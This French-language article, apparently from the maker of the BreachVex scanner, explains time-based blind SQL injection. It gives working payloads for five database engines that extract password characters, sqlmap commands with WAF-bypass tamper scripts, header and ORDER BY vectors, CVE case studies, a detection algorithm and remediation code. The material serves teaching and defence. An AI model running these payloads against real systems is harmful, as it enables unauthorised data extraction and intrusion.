Extrait des données en forçant la base de données à dormir pendant une durée mesurable, inférant les valeurs depuis les délais de réponse.
TL;DR
SLEEP(N) (MySQL), pg_sleep(N) (PostgreSQL), WAITFOR DELAY '0:0:N' (MSSQL)randomblob(N) fournit un délai basé sur le CPU comme substitutL'injection SQL à l'aveugle basée sur le temps est la technique de dernier recours — appliquée quand une application retourne des réponses HTTP identiques pour toutes les entrées, rendant à la fois les méthodes par UNION et les méthodes différentielles booléennes impossibles. Au lieu d'encoder des informations dans le contenu de la réponse, l'attaquant encode un seul bit dans la latence de réponse : injecter une fonction sleep conditionnelle ; si la condition est vraie, la base de données se met en pause pendant une durée mesurable ; si elle est fausse, la réponse arrive immédiatement.
Cette technique appartient à la catégorie des injections SQL inférentielles (à l'aveugle) dans CWE-89. Elle nécessite seulement que la base de données exécute du SQL et que la réponse HTTP de l'application reflète le temps d'exécution total de la requête. L'application peut retourner un 200 vide, une erreur générique ou tout contenu statique — le canal de timing persiste quel que soit le cas.
CVE-2024-43468 (Microsoft SCCM, CVSS 9.8) illustre l'impact réel. Des attaquants non authentifiés envoyaient des payloads basés sur le temps via WAITFOR DELAY MSSQL pour confirmer l'injection dans l'endpoint getMachineID, puis escaladaient via des requêtes empilées pour activer xp_cmdshell pour une exécution complète de commandes OS sous le contexte de compte machine à hauts privilèges. La CISA a ajouté ceci à son catalogue de vulnérabilités exploitées connues en février 2026. L'attaque ne nécessitait aucune information d'identification ni connaissance préalable de l'application.
L'injection encode des informations binaires comme délai. Un sleep conditionnel standard utilise la construction IF/CASE du moteur de base de données : exécuter SLEEP(N) quand la condition est vraie, exécuter rien (ou SLEEP(0)) quand elle est fausse. Le client HTTP mesure le temps aller-retour et infère la valeur du bit.
MySQL — payloads SLEEP() et BENCHMARK() :
-- Sleep basique (confirmer l'injection)
' AND SLEEP(5)-- -
' OR SLEEP(5)-- -
-- Conditionnel : sleep seulement si la condition est vraie
' AND IF(1=1, SLEEP(5), 0)-- -
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0)-- -
-- Extraction de caractère : sleep si le premier char du mot de passe est 'a'
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)-- -
-- Alternative BENCHMARK() quand SLEEP() est filtré
' OR BENCHMARK(10000000, MD5('a'))-- -
'+BENCHMARK(40000000, SHA1(1337))+PostgreSQL — payloads pg_sleep() :
-- Sleep basique
'; SELECT pg_sleep(5)--
'; SELECT pg_sleep(5) FROM DUAL WHERE DATABASE() LIKE '%'--
-- Sleep conditionnel
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END
FROM users LIMIT 1--
-- Extraction de caractère
'; SELECT CASE WHEN
(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
THEN pg_sleep(5) ELSE pg_sleep(0) END--MSSQL — payloads WAITFOR DELAY :
-- Délai basique
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
-- Extraction de données conditionnelle
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>96)
WAITFOR DELAY '0:0:5'--
-- Précision à la fraction de seconde (0,51 seconde)
'; IF (1=1) WAITFOR DELAY '0:0:0.51'--Oracle — dbms_pipe.receive_message() :
-- Délai basique (nécessite EXECUTE sur le package dbms_pipe)
' OR dbms_pipe.receive_message('a',5)=1--
-- Délai conditionnel
' AND 1=(SELECT CASE WHEN (1=1)
THEN TO_CHAR(dbms_pipe.receive_message('a',5))
ELSE '1' END FROM dual)--
-- Extraction de caractère
' AND 1=(SELECT CASE WHEN
(SUBSTR((SELECT password FROM users WHERE rownum=1),1,1)='a')
THEN TO_CHAR(dbms_pipe.receive_message('a',5))
ELSE '1' END FROM dual)--SQLite — délai CPU randomblob() (pas de fonction sleep native) :
-- Substitut de délai intensif en CPU
' AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(150000000/2))))--
' AND randomblob(500000000)-- -
-- Note : la durée du délai varie significativement selon le matériel serveur
-- SQLite est couramment utilisé dans les applications embarquées et les backends mobiles| Variante | Moteur SQL | Fonction sleep | Alternative |
|---|---|---|---|
| Sleep natif | MySQL | SLEEP(N) | BENCHMARK(N, MD5('a')) |
| Sleep natif | PostgreSQL | pg_sleep(N) | Fonction dollar-quoting |
| Délai natif | MSSQL | WAITFOR DELAY '0:0:N' | Boucle CPU empilée |
| Réception pipe | Oracle | dbms_pipe.receive_message('a',N) | Aucune (nécessite un privilège) |
| CPU randomblob | SQLite | randomblob(N*1000000) | Jointure croisée sqlite_master |
| Déclenché par pile | MSSQL | Requête empilée + WAITFOR | Sleep xp_cmdshell |
| Injection ORDER BY | N'importe lequel | sort=1; SLEEP(5)-- | Via paramètres sort/order |
Le vecteur d'injection ORDER BY mérite d'être souligné. Les paramètres nommés sort, order, orderBy, sortBy, column et dir sont injectables dans environ 15 % des rapports d'injection SQL sur HackerOne. Les scanners automatisés qui ne testent que les paramètres de clause WHERE les manquent systématiquement.
BreachVex implémente un algorithme de validation statistique pour distinguer une véritable injection basée sur le temps des conditions de réseau lentes ou de latence côté serveur. Un seuil naïf (temps de réponse > 5 secondes) produit des faux positifs significatifs sur les serveurs lents et des faux négatifs sur les serveurs rapides derrière des équilibreurs de charge.
Algorithme de proportionnalité en 4 étapes :
Étape 1 : Référence — 3 requêtes normales → calculer moyenne + écart type
Étape 2 : Payload COURT — SLEEP(2) → mesurer le delta depuis la moyenne de référence
Étape 3 : Payload LONG — SLEEP(5) → mesurer le delta depuis la moyenne de référence
Étape 4 : Vérification de proportionnalité :
- delta_long / delta_short doit rester dans la tolérance de la cible 2,5
- response_time doit dépasser la moyenne de référence d'une large marge statistique
- l'augmentation de délai absolue doit être sans ambiguïté
Journal de confirmation :
"BlindSQLi CONFIRMED: short=2.14s, long=5.07s, ratio=2.37 (expected 2.5)"La vérification de proportionnalité est le discriminateur clé : un SLEEP(5) réellement injecté produit approximativement 2,5× le délai de SLEEP(2). Un serveur lent ou un réseau à haute latence produit un délai supplémentaire constant quel que soit la valeur sleep — le ratio dévie significativement de 2,5, rejetant le résultat comme faux positif.
# Validation de proportionnalité
if short_delta > 0.1:
ratio = long_delta / short_delta
expected = 2.5 # SLEEP(5) / SLEEP(2)
tolerance = 0.30 # ±30 %
if abs(ratio - expected) / expected <= tolerance:
return {
"name": f"Blind SQL Injection (Time-Based): {param_name}",
"severity": "critical",
"status": "confirmed",
"evidence": (
f"DBMS: {dbms} | Param: {param_name} | "
f"Baseline: {baseline_mean:.3f}s ±{baseline_std:.3f}s | "
f"Short delay (2s): {short_delta:.3f}s | "
f"Long delay (5s): {long_delta:.3f}s | "
f"Ratio: {ratio:.2f} (expected 2.5 ±30%)"
)
}CVE-2024-43468 — Microsoft SCCM (CVSS 9.8, CISA KEV février 2026) — Injection SQL non authentifiée dans le service MP_Location de Microsoft Configuration Manager. Les fonctions getMachineID et getContentID concaténaient les entrées utilisateur directement dans des requêtes SQL. Le PoC publié par Synacktiv utilisait les payloads WAITFOR DELAY de MSSQL pour confirmer l'injection, puis escaladait via des requêtes empilées (sp_configure 'xp_cmdshell', 1) vers une exécution complète de commandes OS sous le contexte de compte machine à hauts privilèges. Vecteur CVSS : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
HackerOne #868436 — Mail.ru / city-mobil.ru (prime de 15 000 $) — Injection SQL à l'aveugle basée sur le temps dans l'application de gestion de flotte city-mobil.ru. Le chercheur a identifié l'injection à l'aveugle basée sur le temps via le délai de réponse sur un paramètre standard, confirmé avec les payloads SLEEP(5), et extrait le contenu de la base de données en utilisant SQLMap avec la technique T (basée sur le temps). La prime de 15 000 $ reflète la sévérité de l'injection à l'aveugle dans une base de données de production avec des données utilisateur.
CVE-2024-8924 — ServiceNow Core Platform (SQLi à l'aveugle, 2024) — Injection SQL à l'aveugle non authentifiée dans la plateforme core ServiceNow. Des techniques à l'aveugle basées sur le temps ont été utilisées pour confirmer et exploiter la vulnérabilité dans la plateforme de gestion des services IT d'entreprise, qui stocke des données organisationnelles sensibles dans des milliers de déploiements d'entreprise à l'échelle mondiale.
CVE-2025-25181 — Advantive VeraCore (CISA KEV, mars 2025) — Injection SQL distante non authentifiée via le paramètre PmSess1 dans timeoutWarning.asp. Exploitation active par des acteurs de menaces confirmée. La CISA l'a listée avec une date limite de correctif au 31 mars 2025. La vérification basée sur le temps était la technique utilisée pour confirmer l'exécution arbitraire de commandes SQL contre la base de données backend.
' AND SLEEP(5)-- pour les cibles MySQL et observer si la réponse prend environ 5 secondes. Comparer avec ' AND SLEEP(0)-- qui doit répondre immédiatement.'; WAITFOR DELAY '0:0:5'-- et mesurer le temps de réponse par rapport à la référence.'; SELECT pg_sleep(5)-- et observer le délai.ORDER BY : ?sort=name; SLEEP(5)-- ou ?order=(CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--.X-Forwarded-For: 1.1.1.1' AND SLEEP(5)-- — les en-têtes journalisés en bases de données sont un vecteur d'injection courant que les outils automatisés manquent souvent.# Ciblage de technique basée sur le temps
sqlmap -u "https://target.com/search?q=test" \
--technique=T --batch --time-sec=5
# Augmenter le seuil de temps pour les réseaux lents
sqlmap -u "https://target.com/search?q=test" \
--technique=T --batch --time-sec=10
# Test d'injection d'en-têtes
sqlmap -u "https://target.com/" \
--headers="X-Forwarded-For: *" \
--technique=T --level=3 --batch
# Scripts de contournement WAF tamper (Cloudflare)
sqlmap -u "https://target.com/search?q=test" \
--technique=T --tamper=charencode,randomcase,between \
--random-agent --delay=0.5 --batchBreachVex détecte l'injection basée sur le temps en utilisant l'algorithme de proportionnalité en 4 étapes. Les findings probables dont le ratio de délai reste dans la tolérance de la cible 2,5 sont confirmés en sévérité critical et escaladés vers un outillage offensif standard de l'industrie pour une passe d'extraction profonde.
Les requêtes paramétrées empêchent l'injection basée sur le temps en assurant que l'entrée utilisateur ne peut pas être interprétée comme appels de fonctions SQL. La fonction sleep ne peut pas s'exécuter car l'entrée est liée comme littéral de chaîne, pas comme code SQL.
# Python psycopg2 — SÛR (injection sleep impossible)
cursor.execute(
"SELECT * FROM products WHERE name = %s",
(user_input,) # "' AND SLEEP(5)--" traité comme littéral de chaîne
)
# VULNÉRABLE — SLEEP() s'exécute comme SQL
cursor.execute(f"SELECT * FROM products WHERE name = '{user_input}'")// Java PreparedStatement — SÛR
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username); // WAITFOR DELAY injecté ici devient un littéral inerte
// VULNÉRABLE
Statement stmt = conn.createStatement();
stmt.executeQuery("SELECT * FROM users WHERE username = '" + username + "'");Les paramètres ORDER BY ne peuvent pas être paramétrés — le nom de colonne et la direction doivent être intégrés dans la chaîne de requête. Utiliser des listes d'autorisation strictes.
ALLOWED_SORT_COLUMNS = {'name', 'price', 'created_at', 'category'}
ALLOWED_DIRECTIONS = {'ASC', 'DESC'}
def safe_order_by(column, direction):
if column not in ALLOWED_SORT_COLUMNS:
column = 'created_at' # colonne sûre par défaut
if direction.upper() not in ALLOWED_DIRECTIONS:
direction = 'ASC'
return f"ORDER BY {column} {direction}"L'injection basée sur le temps est la technique de repli quand tous les autres canaux sont bloqués. Supprimer les messages d'erreur et empêcher le reflet des résultats n'empêche pas l'injection basée sur le temps — le canal de timing persiste. Seules les requêtes paramétrées éliminent la vulnérabilité d'injection elle-même.
L'injection SQL à l'aveugle basée sur le temps utilise des fonctions sleep conditionnelles pour encoder une réponse vrai/faux comme délai de réponse mesurable. Si une condition est vraie, la base de données se met en pause pendant N secondes ; si elle est fausse, elle répond immédiatement. Cela fonctionne même quand l'application retourne un contenu identique pour toutes les requêtes.
MySQL utilise SLEEP(N) ; PostgreSQL utilise pg_sleep(N) ; MSSQL utilise WAITFOR DELAY '0:0:N' ; Oracle utilise dbms_pipe.receive_message('a',N) qui nécessite le privilège EXECUTE sur dbms_pipe ; SQLite utilise randomblob(N*1000000) comme substitut intensif en CPU puisque SQLite n'a pas de fonction sleep native.
BreachVex utilise une vérification de proportionnalité : il envoie les payloads SLEEP(2) et SLEEP(5) et vérifie que le ratio des délais mesurés est approximativement 2,5 (±30 %). Un serveur réellement lent produit un délai constant quel que soit la valeur sleep. Le délai injecté s'échelonne proportionnellement à la durée sleep demandée.
Un minimum de 5 secondes est recommandé pour les tests en production. Les délais de 1 seconde sont peu fiables en raison de la gigue réseau. BreachVex envoie un payload sleep court et un long et vérifie que les délais mesurés s'échelonnent proportionnellement pour une confirmation statistique.
Oui. BENCHMARK(N, MD5('a')) ou BENCHMARK(10000000, SHA1(1337)) provoque un calcul intensif en CPU comme substitut sleep quand SLEEP() est filtré. La durée du délai dépend du matériel serveur, le rendant moins précis que SLEEP(), mais toujours suffisant pour la détection quand la validation de proportionnalité est appliquée.
CVE-2024-43468 (Microsoft SCCM, CVSS 9.8) impliquait une injection SQL non authentifiée via les fonctions getMachineID et getContentID. Des techniques à l'aveugle basées sur le temps (WAITFOR DELAY) ont été utilisées pour confirmer l'injection avant l'escalade vers xp_cmdshell pour un RCE complet au niveau OS. La CISA a ajouté ceci au KEV en février 2026.
Les paramètres ORDER BY et sort sont injectables via des techniques basées sur le temps : ?sort=1; WAITFOR DELAY '0:0:5'-- sur MSSQL, ou ?sort=SLEEP(5)-- sur MySQL. Ces paramètres sont traités après l'exécution de la requête et contournent souvent la validation d'entrée focalisée sur les points d'injection de clause WHERE.